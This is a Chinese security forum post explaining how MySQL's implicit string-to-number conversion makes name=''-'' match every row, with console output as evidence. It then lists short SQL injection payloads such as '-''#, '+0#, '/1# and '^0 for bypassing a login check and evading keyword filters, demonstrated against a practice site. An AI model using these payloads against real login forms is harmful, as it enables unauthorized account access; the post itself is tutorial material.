找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2050|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。
% w) Z9 B3 u% {  c" \% f: N1 r$ B有以下表结构: 1 Z$ s" S& X# d; W- x6 p' q6 @

/ h4 i( P2 `6 O/ Qmysql> desc admin;
( g1 y5 P) ^& V. ^+----------+--------------+------+-----+---------+----------------+9 g4 k1 x0 o; k: U1 s$ T8 G
| Field    | Type         | Null | Key | Default | Extra          |& K( W# `$ g. D& |6 U3 k0 Z# e1 r
+----------+--------------+------+-----+---------+----------------+# v! w( ~$ p7 \! |) x3 s+ N. x( X$ y
| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |3 q/ b: G9 y3 y% K, B2 c2 I9 _5 Q
| name     | char(32)     | NO   | UNI | NULL    |                |' Z* n% n/ N0 @9 w3 A4 m3 G( y
| password | char(32)     | NO   | UNI | NULL    |                |2 M" B' q  I8 p& r* E( D
+----------+--------------+------+-----+---------+----------------+
8 L; a) S3 }# Z, k- P# d3 rows in set (0.00 sec)( A' w8 j8 K7 W  W- y" h" M
执行select * from admin;,成功返回所有记录内容。
% f& R3 o7 b  M
" l: U0 ^6 z- O9 \: w# I! |( {* |# l9 z8 i/ d
+----+--------+----------------------------------+' p% Z) u2 q. D: n
| id | name   | password                         |: y, f# M/ D, n; G2 B5 B# _+ V
+----+--------+----------------------------------+' F9 Q; M, }! r3 f% U! m! f
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
# z% X; d; _2 w1 _# v' E/ C6 T% k|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |+ b, S: O: {! V% r
|  4 | n00b   | ff80e8508d39047460921792273533a4 |3 `  ~0 a! B* s* D
+----+--------+----------------------------------+
: w, y. [3 w8 j8 e9 Y" ]3 rows in set (0.00 sec)
' C# r& ?1 v7 O! ]9 y6 [' D执行select * from admin where name=”;,没有匹配到任何记录。 $ \+ y( M- S6 t; N$ m

0 P0 n- l, C$ N( g$ C9 F3 x. [) imysql> select * from admin where name = '';6 U0 u) z) W  u6 ]
Empty set (0.00 sec)6 C, u, T  g1 Y7 y% @. _8 `
那么我们来执行select * from admin where name = ”-”;2 O9 A; s0 T2 O

$ _6 x3 s+ A. j7 A) X5 W* A3 M0 Q3 G7 ~* m
+----+--------+----------------------------------+9 Q$ D1 W1 B2 X7 }
| id | name   | password                         |; f: b* Y5 w& S- K$ |* Z/ ~
+----+--------+----------------------------------+
; X0 W8 Z9 ^9 `  X|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
; c0 z1 M" @8 }0 @|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |# M8 x7 }2 n: f
|  4 | n00b   | ff80e8508d39047460921792273533a4 |
, _/ s& K6 d+ }1 q+----+--------+----------------------------------+
7 J$ k& k% ^, {2 z7 E0 C3 rows in set, 3 warnings (0.00 sec)
! K; b0 I: J0 a+ K% ^$ H9 `- s可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
; O; X# C) I$ V) _. U
, R2 y' O& B0 \. [& Vmysql> show warnings;8 v2 I' o1 |. P+ I1 E" n9 w4 \4 T* E
+---------+------+------------------------------------------/ g$ U! o: H+ |7 n- b! o
| Level   | Code | Message
; u8 v, S7 S( m- r+---------+------+------------------------------------------
1 U3 j5 \' c( i5 P& f, l% M% c| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
0 s: i; m0 Y, o$ K4 @: A2 x| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s0 r4 R6 \9 h1 L- Q
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b7 A9 x. e7 U) a& `* o; M, o- K
+---------+------+------------------------------------------1 Y- T* E7 c1 P& b) y# K3 V
3 rows in set (0.00 sec)
; k5 ^; X7 s8 N7 f( l7 R提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
$ Z3 k; {" u- z$ z- K6 @
2 X2 H. Z3 F* smysql> select ''-'';
4 K. S7 X3 @7 ?5 L: B2 f& ?+-------+& j, \' B; o' @8 F) s# Q! ]. c
| ''-'' |5 j0 u& `7 C. b7 a% `( ]' ^
+-------+1 z, P2 O( G, @4 G
|     0 |- v: S0 R/ ?( i1 ~* g
+-------+
9 i5 z! P, b3 a1 row in set (0.00 sec)
- H3 t. s% u, g返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
6 H4 J$ x" k. n- m) R2 z
6 C8 b5 @" F- c# n* A' F! B9 ~& X5 t9 ~mysql> select CAST((select name from admin limit 1,1) as DECIMAL);: ~: s, g/ J7 q* P, h
+-----------------------------------------------------+
6 ]$ f2 v+ a2 ?0 y( U| CAST((select name from admin limit 1,1) as DECIMAL) |; W4 J  d: I0 [7 n4 \& b" }% }3 L# z+ \" B! O
+-----------------------------------------------------+
0 G' H3 {. a7 U& b|                                                   0 |* c9 y2 H: a, D$ [7 x4 R
+-----------------------------------------------------+% H. J; ~5 S& L; T
1 row in set, 1 warning (0.00 sec)8 l7 Y8 M; j/ n2 ]
因此where语句构成了相等的条件,where 0=”=”,记录被返回。 $ W" z* R9 A8 R
' b3 P/ ]2 {+ e5 o: U1 Q
SQL注入场景: http://www.sqlzoo.net/hack/ 1 q/ [8 d; y- M! u$ b1 I9 C
, x. Z7 [0 e7 [3 X
' B- b8 b( ?1 K

- B. L/ Y' F3 V9 U2 @" ?1 g& w) Q2 R
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 * g- B9 N6 A. C+ L

" X6 K$ g% |* e9 E那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 " s( r  U6 j$ D
& w/ m/ |* o. u+ @$ k2 u: ~/ A; E

/ i9 m+ W' {" K' L! |. w8 Z: ]

" D6 g5 T6 M) @. M: r仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
3 V  T& c! d( F! f9 X1 m* e
) [* T: U# E2 ^# q8 g   : I+ T# k# z* r5 h

6 R6 g5 g: O' N2 E* Q% B除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
: W! ^  w: h! p2 w
$ ~, A: |: h0 m; w% T6 y9 A8 @) C* g1 v3 [* ~
mysql> select ''/1;
( [- F; T+ P) W+ c+------+  C/ f& d9 u: P4 y3 ~/ g
| ''/1 |
4 i: d. n: j* G: n+------+9 j5 q4 y# W& H/ D0 V
|    0 |
: m6 z. s5 u" u( u+------+
) {& v! K2 i) ?9 @2 i- e. i1 row in set (0.00 sec)
+ R! ^3 T9 s, a! `类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  % N- p) |/ q6 ?8 m) _% N

% I3 `. ~+ Y# R1 T6 T% U& x利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
( }4 B. y! [' K7 f) Y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表